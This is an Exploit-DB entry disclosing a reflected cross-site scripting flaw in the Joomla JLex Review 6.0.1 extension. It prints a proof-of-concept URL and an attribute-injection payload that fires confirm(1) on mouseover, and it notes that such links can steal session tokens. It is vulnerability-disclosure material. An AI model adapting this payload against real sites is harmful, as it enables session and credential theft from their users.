Joomla JLex Review 6.0.1 - Reflected XSS

EDB-ID:
51645

CVE:
N/A

EDB Verified: ×

Author:
CRACKER

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2023-08-04

Vulnerable App:

```
# Exploit Title: Joomla JLex Review 6.0.1 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 01/08/2023
# Vendor: JLexArt
# Vendor Homepage: https://jlexart.com/
# Software Link: https://extensions.joomla.org/extension/jlex-review/
# Demo: https://jlexreview.jlexart.com/
# Version: 6.0.1
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09,
indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an
email or instant message
can perform a wide variety of actions, such as stealing the victim's
session token or login credentials


Path: /

URL parameter is vulnerable to XSS

https://website/?
review_id=5&itwed"onmouseover="confirm(1)"style="position:absolute%3bwidth:10



XSS Payloads:

itwed"onmouseover="confirm(1)"style="position:absolute;width:100%;height:100%
```

Tags:

Advisory/Source: Link